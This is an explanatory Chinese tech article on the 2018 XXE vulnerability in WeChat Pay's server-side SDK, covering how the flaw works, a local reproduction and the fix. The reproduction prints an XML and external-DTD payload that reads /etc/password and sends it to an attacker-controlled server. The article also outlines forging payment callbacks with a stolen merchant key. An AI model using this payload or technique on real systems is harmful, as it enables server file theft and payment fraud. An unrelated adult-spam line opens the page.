自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

可怕!微信支付被曝漏洞,危害不只是“0元也能買買買”!

安全 漏洞 應(yīng)用安全
微信是最流行的 App 之一,特別是隨著“二維碼付款”成為潮流,越來越多的小伙伴早已習慣不帶現(xiàn)金出門。

 微信是最流行的 App 之一,特別是隨著“二維碼付款”成為潮流,越來越多的小伙伴早已習慣不帶現(xiàn)金出門。

[[235536]]

如果有人告訴你,現(xiàn)在不用你花一分錢,就能用[微信支付]買買買,這種天上掉餡餅的事,你會相信嗎?

7 月 1 日,在老牌漏洞披露平臺 Full Disclosure 出現(xiàn)了一封寫給微信支付的公開信。

發(fā)件人是 Rose Jackcode,信的標題是《微信支付官方SDK的XXE安全漏洞(微信支付在商戶頁面遺留了一個后門)》。

▲發(fā)表在漏洞披露平臺 Full Disclosure 上的公開信

發(fā)件人 Rose Jackcode 在信中稱,他在微信支付官方 SDK(軟件工具開發(fā)包)發(fā)現(xiàn)了一個安全漏洞,此漏洞可導(dǎo)致商家服務(wù)器被入侵,一旦攻擊者獲得商家的關(guān)鍵安全密鑰,就可以通過發(fā)送偽造信息來欺騙商家而無需付費購買任何東西。

[[235537]]

王牌對王牌

換句話說,黑客利用微信支付的這個漏洞,能實現(xiàn) 0 元無限買買買。

這并不是說說而已,這位網(wǎng)友還直接甩出了兩張圖,展示出漏洞利用的過程,中招者是 VIVO 和陌陌。

▲陌陌、VIVO 的微信支付漏洞利用過程

看不懂沒關(guān)系,為了方便小伙伴理解,他們舉了個小例子:

這個過程叫“商戶回調(diào)接口”,而這個漏洞可以讓微信支付產(chǎn)生“人家付款成功了”的錯覺,從而讓黑客實現(xiàn) 0 元購。

隨后,微信支付技術(shù)安全團隊已關(guān)注問題并及時排查,并進行更新,修復(fù)了已知的安全漏洞。

雖然微信支付安全漏洞已經(jīng)被修復(fù),但大家關(guān)注的熱度依舊高漲。查看百度熱搜指數(shù)發(fā)現(xiàn),微信支付被爆漏洞這一話題依舊高居榜首。

一定不少小伙伴要吐槽了:“怎么又是修復(fù)好了才告訴我?有沒有感覺錯過了幾百萬哈....

[[235538]]

大多數(shù)人可能并不關(guān)注怎么修復(fù)安全漏洞,而是較為關(guān)心對個體產(chǎn)生的影響。下面我們從技術(shù)人的角度談?wù)勥@次微信支付曝出的漏洞。

技術(shù)角度解讀微信支付曝出的漏洞

對于昨天(2018-07-04)微信支付的 SDK 曝出重大漏洞(XXE 漏洞),通過該漏洞,攻擊者可以獲取服務(wù)器中目錄結(jié)構(gòu)、文件內(nèi)容,如代碼、各種私鑰等。

獲取這些信息以后,攻擊者便可以為所欲為,其中就包括眾多媒體所宣傳的“0 元也能買買買”。

漏洞報告地址:http://seclists.org/fulldisclosure/2018/Jul/3

漏洞原理

XXE 漏洞

此次曝出的漏洞屬于 XXE 漏洞,即 XML 外部實體注入(XML External Entity Injection)。

XML 文檔除了可以包含聲明和元素以外,還可以包含文檔類型定義(即 DTD);如下圖所示:

在 DTD 中,可以引進實體,在解析 XML 時,實體將會被替換成相應(yīng)的引用內(nèi)容。

該實體可以由外部引入(支持 http、ftp 等協(xié)議,后文以 http 為例說明),如果通過該外部實體進行攻擊,就是 XXE 攻擊。

可以說,XXE 漏洞之所以能夠存在,本質(zhì)上在于在解析 XML 的時候,可以與外部進行通信;當 XML 文檔可以由攻擊者任意構(gòu)造時,攻擊便成為可能。

在利用 XXE 漏洞可以做的事情當中,最常見最容易實現(xiàn)的,便是讀取服務(wù)器的信息,包括目錄結(jié)構(gòu)、文件內(nèi)容等;本次微信支付爆出的漏洞便屬于這一種。

微信支付漏洞

本次漏洞影響的范圍是:在微信支付異步回調(diào)接口中,使用微信支付 SDK 進行 XML 解析的應(yīng)用。

注意這里的 SDK 是服務(wù)器端的 SDK,App 端使用 SDK 并不受影響。

SDK 下載地址如下(目前微信官方宣傳漏洞已修復(fù)):https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK 中導(dǎo)致漏洞的代碼是 WXPayUtil 工具類中的 xmlToMap() 方法:

如上圖所示,由于在解析 XML 時沒有對外部實體的訪問做任何限制,如果攻擊者惡意構(gòu)造 XML 請求,便可以對服務(wù)器進行攻擊。下面通過實例介紹攻擊的方法。

攻擊復(fù)現(xiàn)

下面在本機環(huán)境下進行復(fù)現(xiàn)。

假設(shè)本地的 Web 服務(wù)器 127.0.0.1:8080 中存在 POST 接口:/wxpay/callback,該接口中接收 XML 字符串做參數(shù),并調(diào)用前述的 WXPayUtil.xmlToMap(strXml) 對 XML 參數(shù)進行解析。

此外,/etc/password 中存儲了重要的密碼數(shù)據(jù)(如 password1234)。

攻擊時構(gòu)造的請求如下:

其中 XML 內(nèi)容如下:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE root [ 
  3.     <!ENTITY % file SYSTEM "file:///etc/password"
  4.     <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd"
  5.     %xxe; 
  6. ]> 

其中 /etc/password 為要竊取的對象,http://127.0.0.1:9000/xxe.dtd 為攻擊者服務(wù)器中的 dtd 文件,內(nèi)容如下:

  1. <!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>"
  2. %shell; 
  3. %upload; 

通過 xml+dtd 文件,攻擊者便可以在服務(wù)器 http://127.0.0.1:9000 中會收到如下請求:http://127.0.0.1:9000/evil/password1234。

這樣,攻擊者便得到了 /etc/password 文件的內(nèi)容。

在本例中,攻擊者竊取了 /etc/password 文件中的內(nèi)容,實際上攻擊者還可以獲取服務(wù)器中的目錄結(jié)構(gòu)以及其他文件,只要啟動 Web 應(yīng)用的用戶具有相應(yīng)的讀權(quán)限。

如果獲取的信息比較復(fù)雜,如包含特殊符號,無法直接通過 http 的 URL 發(fā)送,則可以采用對文件內(nèi)容進行 Base64 編碼等方法解決。

漏洞的解決

解決該漏洞的原理非常簡單,只要禁止解析 XML 時訪問外部實體即可。

漏洞曝出以后,微信進行了緊急修復(fù),一方面是更新了 SDK,并提醒開發(fā)者使用最新的 SDK。

SDK 中修復(fù)代碼如下:

加入了如下兩行代碼:

  1. documentBuilderFactory.setExpandEntityReferences(false); 
  2. documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); 

此外,微信官方也給出了關(guān)于 XXE 漏洞的最佳安全實踐,可以參考:

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

筆者本人使用上述方案中建議的如下代碼修復(fù)了該漏洞:

  1. DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); 
  2. documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl"true); 
  3. DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); 
  4. …… 

擴展與反思

危害不只是“0 元也能買買買”

在很多媒體的報道中,強調(diào)該漏洞的風險在于攻擊者可以不支付也可以獲得商品。

攻擊者在通過上述漏洞獲得微信支付的秘鑰以后,有不止一種途徑可以做到不支付就獲得商品。

例如,攻擊者首先在系統(tǒng)中下單,獲得商戶訂單號;然后便可以調(diào)用微信支付的異步回調(diào)。

其中的簽名參數(shù)便可以使用前面獲取的秘鑰對訂單號等信息進行 MD5 獲得;這樣攻擊者的異步回調(diào)就可以通過應(yīng)用服務(wù)器的簽名認證,從而獲得商品。

不過,在很多有一定規(guī)模的購物網(wǎng)站(或其他有支付功能的網(wǎng)站),會有對賬系統(tǒng),如定時將系統(tǒng)中的訂單狀態(tài)與微信、支付寶的后臺對比。

如果出現(xiàn)不一致可以及時報警并處理,因此該漏洞在這方面的影響可能并沒有想象的那么大。

然而,除了“0 元也能買買買”,攻擊者可以做的事情還有很多很多;理論上來說,攻擊者可能獲得應(yīng)用服務(wù)器上的目錄結(jié)構(gòu)、代碼、數(shù)據(jù)、配置文件等,可以根據(jù)需要進行進一步破壞。

漏洞不限于微信支付 SDK

雖然微信支付曝出該漏洞受到了廣泛關(guān)注,但該漏洞絕不僅僅存在于微信支付中。

由于眾多 XML 解析器默認不會禁用對外部實體的訪問,因此應(yīng)用的接口如果有以下幾個特點就很容易掉進 XXE 漏洞的坑里:

  • 接口使用 XML 做請求參數(shù)。
  • 接口對外公開,或容易獲得:例如一些接口提供給外部客戶調(diào)用,或者接口使用 http 很容易抓包,或者接口比較容易猜到(如微信支付的異步回調(diào)接口)。
  • 接口中解析 XML 參數(shù)時,沒有禁用對外部實體的訪問,建議大家最好檢查一下自己的應(yīng)用中是否有類似的漏洞,及時修復(fù)。

XML 與 JSON

XML 與 JSON 是系統(tǒng)間交互常用的兩種數(shù)據(jù)格式,雖然很多情況下二者可以互換,但是筆者認為,JSON 作為更加輕量級更加純粹的數(shù)據(jù)格式,更適合于系統(tǒng)間的交互。

而 XML,作為更加重量級更加復(fù)雜的數(shù)據(jù)格式,其 DTD 支持自定義文檔類型,在更加復(fù)雜的配置場景下有著更好的效果,典型的場景如 Spring 相關(guān)的配置。

題外話:微信支付的簽名認證

在前面曾經(jīng)提到,應(yīng)用中存儲的秘鑰一旦泄露,攻擊者便可以完全繞過簽名認證,這是因為微信支付使用的是對稱式的簽名認證。

微信方和應(yīng)用方,使用相同的秘鑰對相同的明文進行 MD5 簽名,只要應(yīng)用方的秘鑰泄露,簽名認證就完全成了擺設(shè)。

在這方面支付寶的做法更規(guī)范也更安全:支付寶為應(yīng)用生成公私鑰對,公鑰由應(yīng)用方保存,私鑰由支付寶保存;在回調(diào)時,支付寶使用私鑰進行簽名,應(yīng)用方使用公鑰進行驗證。

這樣只要支付寶保存的私鑰不泄露,攻擊者只有公鑰則難以通過簽名認證。

參考文獻:

  • https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
  • http://seclists.org/fulldisclosure/2018/Jul/3
  • https://www.cnblogs.com/tongwen/p/5194483.html

關(guān)于此次微信出現(xiàn)的支付漏洞你怎么看?掃描下方二維碼,關(guān)注51CTO技術(shù)棧公眾號。歡迎在技術(shù)棧微信公眾號留言探討。

責任編輯:武曉燕 來源: 互聯(lián)網(wǎng)
相關(guān)推薦

2015-10-27 14:57:22

2014-04-18 09:16:37

2018-09-20 18:23:49

人工智能AI

2023-07-03 11:37:35

語言模型代碼

2020-05-22 13:59:13

SSD內(nèi)存DDR4

2015-06-10 11:10:08

戴爾云計算anycloud

2017-03-25 21:13:38

JavaScript排序

2025-04-29 12:05:41

2021-03-13 06:59:07

支付寶隱藏技巧支付平臺

2021-05-04 19:24:04

數(shù)字人民幣數(shù)字貨幣區(qū)塊鏈

2018-05-11 14:31:45

SSD價格Flash

2021-04-17 15:14:24

微信0day漏洞

2013-04-25 13:58:15

編程

2016-05-30 10:14:11

2016-04-20 17:16:04

2010-08-05 09:29:08

jQuery

2024-11-26 11:02:17

2011-06-29 16:29:19

2021-11-05 11:17:45

互聯(lián)網(wǎng)996大廠

2020-07-15 09:55:50

fastjson類庫漏洞
點贊
收藏

51CTO技術(shù)棧公眾號